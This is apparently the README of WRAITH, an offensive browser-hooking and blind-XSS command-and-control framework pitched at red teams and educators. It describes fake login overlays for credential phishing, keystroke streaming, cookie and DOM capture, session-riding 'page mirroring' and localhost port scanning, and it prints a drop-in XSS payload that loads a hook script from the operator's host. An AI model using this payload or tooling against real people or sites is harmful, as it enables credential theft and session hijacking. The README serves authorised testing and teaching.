一个面向红队、安全研究人员和教育工作者的现代化独立浏览器钩子框架——作为 BeEF 和盲 XSS 回调工具的洁净室继任者。
仅限授权安全测试、研究与教育用途。 WRAITH 是一款攻击性安全工具,用于演示和测试钓鱼 / 浏览器中间人 / 盲 XSS 攻击技术。仅可针对你拥有明确授权进行测试的系统和人员使用。你需自行承担使用方式的责任。

在 Arcanum 的工作过程中,我们不断需要两种不同类型的工具,并希望它们能合二为一。
一方面是 BeEF —— 浏览器利用框架 —— 用于经典的钩住浏览器,然后在其会话内部开展工作的工作流:键盘记录虚假登录、侦察本地网络、向实时受害者推送模块。这是我们用来让浏览器中间人攻击变得真实可感的工具。但它已显老态,大部分功能在现代浏览器中不可靠,而且社会工程学覆盖层看起来像是十年前的登录页面。
另一方面是我们钟爱的盲 XSS 回调框架(XSS Hunter、ezXSS):将载荷放入某个字段,一旦它在你看不到的地方触发,就会带着战利品回连——来源、Cookie、DOM、截图。
我们越来越需要的是——尤其是当越来越多的目标变成 AI 应用生态系统,其中不受信任的文本流经代理、工具输出、管理员审核队列和支持控制台,并在无人监视的地方触发 JavaScript——一个能同时做到两点的单一框架:BeEF 钩子的交互式、持久化后渗透控制,以及即发即弃的盲 XSS 回调战利品,集成在一个在当前浏览器中可靠且看起来像当今真实登录界面的载荷中。
于是我们构建了 WRAITH。
我们有意提前发布 WRAITH。我们宁愿把它交到真正会使用它的人手中——并听取哪些地方出了问题——也不愿等到它“完成”才发布。
这意味着:请预期存在粗糙之处和缺陷。 有些模块比其他模块经过更多实战检验,浏览器行为不断变化(参见下方的网络扫描说明),API 可能在版本之间发生变化。如果你遇到问题,请提交 issue——复现步骤、浏览器及版本、以及你的预期都是宝贵信息。欢迎在项目的贡献条款下提交 PR。
最快的路径。你需要 Docker + Docker Compose。
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh 会引导你完成所有步骤:
.env(chmod 600),并构建 + 启动容器。 操作员控制台 : http://YOUR_IP:8090/operator/
登录页面 : http://YOUR_IP:8090/login (用户 "operator")
演示受害者页面 : http://YOUR_IP:8090/demo/
钩子载荷 : http://YOUR_IP:8090/hook.js
即插即用 XSS 载荷:
"><script src="http://YOUR_IP:8090/hook.js"></script>
使用标准 compose 命令进行管理:
docker compose logs -f # 查看日志
docker compose down # 停止(保留 ./data)
./setup.sh # 重新配置(轮换密码、更改地址等)
捕获的会话持久化在宿主机上的 ./data/ 中——绝不烘焙进镜像,绝不提交(.env 和 data/ 已被 gitignore)。
只要设置了操作员密码,操作员控制台就受登录保护,需要用户名 + 密码登录:

npm install
npm start
然后在 http://127.0.0.1:3000/operator/ 打开操作员控制台,在 http://127.0.0.1:3000/demo/ 打开演示受害者页面(在第二个浏览器 / 配置文件中)。在 localhost 上,为方便起见默认禁用登录——服务器拒绝在没有操作员密码的情况下绑定到公共接口,因此你不会意外暴露一个开放面板。
/hook.js 是一个小型载荷。将其放入你控制的任何页面(<script src="/hook.js"></script>),或通过目标中的 XSS 传递它。加载它的浏览器会向操作员打开一个 WebSocket,进行指纹识别(浏览器、操作系统、IP、页面、UA),自动重连,并在导航后保持存活。每个被钩住的浏览器都会实时显示在控制台中,你可以选择一个并驱动它——完整仪表盘就是本 README 顶部的英雄截图:被钩浏览器列表、目标详情、部署控制、实时活动流和捕获的凭据。
现代化的虚假登录覆盖层,在隔离的 shadow DOM 中渲染,使其在任何宿主页面上都像素级完美,并像真实的重新认证模态框一样对背后的页面进行毛玻璃模糊处理。内置 LinkedIn、Facebook 和 Microsoft / Office 365(真实的双步骤邮箱 → 密码)。

目标在覆盖层中输入的每个字符都会实时流式传输到控制台,提交的凭据会落入捕获的凭据中——所有内容均持久化,刷新或重启不会丢失任何数据。

浏览器被钩住的瞬间,WRAITH 会自动触发页面捕获:正是盲 XSS 框架在你的载荷在你无法看到的地方触发时抓取的内容——在哪里触发的(来源 + URL + 引用页)、受害者的 Cookie(非 HttpOnly)、完整 DOM 以及截图。失败会被如实报告,因为它们本身就是教训:HttpOnly Cookie 永远不会出现,CSP 或跨源画布污染可能阻止截图。

这正是 WRAITH 超越它所替代工具的地方。 当你在页面中植入盲 XSS 或钩子时,大多数框架止步于截图和原始 HTML 转储——你可以看到载荷在哪里触发,但无法真正利用它做任何事。
WRAITH 的页面镜像将这种死胡同战利品转变为应用程序的实时、可导航视图。在操作员控制台内将钩住的页面作为真实渲染的浏览器视图打开——然后点击链接并在应用中可视化移动,就像受害者一样。

关键点:每次导航都是通过被钩住的浏览器获取的,因此它承载着受害者的会话和同源信任。受害者的会话能到达的任何页面、端点或功能,你也能到达——包括受你从未见过的认证会话 Cookie(且因为是 HttpOnly,你永远无法直接窃取)保护的页面。
在下面的示例中,我们从支持代理的工单队列开始,直接点击进入一个内部凭据保险库——一个只能在经过认证的代理会话内解析的页面。没有钓鱼凭据,没有窃取 Cookie:我们只是搭载了受害者的会话到达那里。

跨源读取仍然按设计失败(同源策略仍然有效)——镜像的到达范围恰好就是受害者的到达范围,不多也不少。这个边界本身就是教训的一部分。
一个 XSS-Hunter 风格的目录,包含适用于每种上下文的即用注入字符串(HTML、属性逃逸、标签闭合、事件处理器、JS 上下文、javascript: URI、jQuery),每个都自动填入你的钩子 URL,并可一键复制。

使用被钩住的浏览器作为代理来指纹识别受害者的本地服务。这是一种时序侧信道,为当前浏览器重建——可靠的默认方式是使用两种独立原语(fetch 和 WebSocket 时序,即 eBay 的 check.js 方法)进行校准的 127.0.0.1 扫描。局域网模式已包含但如实标注,因为 Chrome 142+ 的本地网络访问(LNA)现在会对其进行门控(参见下文)。
/lab 处有一个故意存在漏洞的“支持服务台”,带有存储型 XSS 注入点,让你可以同源端到端演示整个链条:提交恶意工单 → “代理”审核队列时载荷触发(盲 XSS 时刻)→ 页面镜像钩住的代理并拉取会话门控的保险库。故意设计为不安全,并埋有标记。

钩子在加载的瞬间触发,就像投入存储字段的盲 XSS 载荷后来在你无法看到的某个管理 / 支持 / 日志 / 代理上下文中渲染一样。数据中直接呈现的教训:
对于离线实验室,请自行托管 html2canvas——参见 public/vendor/README.md。
JavaScript 无法读取跨源响应,但它可以发起请求并观察其失败方式和速度,这会泄露端口状态。该模块围绕当前浏览器(2025–2026) 中有效的方式重建,因为旧的 BeEF 时代局域网扫描现已失效。
现代现实: Chrome 142+(2025 年 10 月)推出了本地网络访问(LNA),将对私有网段(10.x / 172.16.x / 192.168.x)的请求门控在权限提示之后。盲目的局域网扫描不再能到达网络。但回环地址(127.0.0.1)仍然可达,扫描它才是现实世界的攻击——eBay、Best Buy 等曾被发现在扫描访客的 localhost 以指纹识别本地服务和远程访问工具。
因此该模块有三种模式:
127.0.0.1 扫描,使用 fetch 时序和 WebSocket 时序探测每个端口,首先学习本机的 RST 基线,然后将任何解析、挂起或运行较慢的内容标记为 OPEN,标注可能的服务,并显示 fetch、ws 或两者是否一致。目前可在 Chrome 和 Firefox 中工作。这些工具位于攻击的不同阶段,滥用不同的信任上下文。它们是互补的,并且可以串联使用。
要教授的真实区别:我们的覆盖层钓鱼收集的是用户输入的内容——它不捕获真实会话,也不绕过 MFA。这正是它作为对比的绝佳之处,也是行业转向**抗钓鱼、来源绑定的认证(FIDO2 / WebAuthn / 通行密钥)**的原因。一个现实的杀伤链会使用全部三者:盲 XSS 发现并传递代码执行,WRAITH 钩子提供会话内交互控制(并通过页面镜像直接到达应用功能),而重定向可以将受害者引入 Evilginx 流程以获得真实的 MFA 通过会话。
一切均由环境变量驱动;同一构建可在任何地方运行,因为 hook.js 从其被服务的任何位置推导回调 URL。setup.sh 将这些写入 .env。
一个已签署的 HttpOnly 会话 Cookie 同时覆盖面板和实时 WebSocket。钩子载荷、演示页面和 /ws/hook 通道保持公开,以便受害者可以访问它们。作为故障安全机制,服务器拒绝绑定到公共接口,除非已设置密码。
如需裸机 / systemd 部署而非 Docker,请参见 deploy/DEPLOY.md。
server.js C2 服务器(HTTP + WS,按路径区分两种角色)
config.js 环境变量驱动的配置
store.js 持久化会话 / 战利品存储(data/sessions.json)
lab.js 故意易受攻击的练习实验室(/lab)
public/hook.js 载荷
public/demo/ 无害的“受害者”落地页
public/operator/ 操作员控制台(GUI + 载荷目录)
modules/ linkedin.js facebook.js microsoft.js portscan.js capture.js + 注册表
public/vendor/ 可选的自托管库(用于离线截图的 html2canvas)
setup.sh 交互式 Docker 安装程序
Dockerfile / docker-compose.yml
deploy/ 裸机 systemd 替代方案
docs/screenshots/ 本 README 中使用的图片
WRAITH © 2026 Arcanum Information Security,根据 Apache License 2.0 发布。
你可以自由使用、修改和重新分发它——包括用于你自己的培训——但你必须保留署名:在你分发或 fork 的任何内容中保留 LICENSE 和 NOTICE 文件以及 Arcanum 版权声明,并说明你所做的更改(Apache-2.0 §4)。参见 NOTICE。该许可证不授予在描述代码来源之外使用 Arcanum 名称或标志的权利。
由 Arcanum 用 ❤️ 构建——https://arcanum-sec.com
| BeEF | WRAITH |
|---|
hook.js + XHR 轮询 | public/hook.js + WebSocket(实时、可靠) |
| Ruby 服务器 + RESTful API | server.js(Node + ws) |
| 在线 / 离线浏览器面板 | 操作员控制台“被钩住的浏览器” |
| Pretty Theft 模块 | 覆盖层 modules/*.js(现代化 LinkedIn/Facebook/Microsoft) |
| 网络发现 / 端口扫描器 | modules/portscan.js(校准、适配当前浏览器) |
| 命令结果 | 实时按键 + 捕获的凭据 + 扫描结果 |
| (无对应物) | 页面捕获(盲 XSS 战利品)+ 页面镜像(导航应用) |
| WRAITH / BeEF | 盲 XSS 框架(XSS Hunter、ezXSS) | AiTM 代理(Evilginx、EvilGoPhish、Modlishka) |
|---|
| 是什么 | 浏览器中间人后渗透 C2(+ 盲 XSS 战利品) | XSS 检测 + 证明,附带一次性侦察 | 中间人攻击反向代理 |
| 前提条件 | 你已拥有在页面中运行的 JS | 相同:你的载荷在你无法看到的地方执行 | 受害者点击链接并在你的仿冒域名上登录 |
| 滥用的来源 | 受害者的真实会话 / 真实来源 | 易受攻击应用的来源 | 代理真实站点的独立攻击者域名 |
| 捕获内容 | 凭据 + 按键 + 侦察 + 盲 XSS 战利品 + 通过页面镜像导航应用 | “它触发了,这里是”:DOM、Cookie、截图、来源 | 真实凭据以及 MFA 后的会话令牌 |
| 能绕过 MFA? | 不能——你钓鱼到的是静态凭据 | 仅当它在页面内搭载实时已认证会话时 | 能——窃取认证后的会话 Cookie 正是其目的 |
| 环境变量 | 默认值 | 用途 |
|---|
WRAITH_HOST | 127.0.0.1 | 绑定接口(0.0.0.0 用于暴露;Docker 中强制) |
WRAITH_PORT | 3000 | HTTP + WebSocket 端口(setup.sh 默认为 8090) |
WRAITH_PUBLIC_URL | (推导) | 你的 IP / 域名,用于打印正确的钩子 URL |
WRAITH_OP_USER | (空) | 操作员登录用户名(可选;setup.sh 会设置一个) |
WRAITH_OP_PASSWORD | (空) | 操作员登录密码;公开绑定必需 |
WRAITH_SECRET | (随机 / 启动时) | 签署会话 Cookie;设置以在重启后保持登录 |
WRAITH_SESSION_HOURS | 12 | 操作员会话生命周期 |
WRAITH_AUTOCAPTURE | 1 | 钩住时自动触发页面捕获(0 = 手动,BeEF 风格) |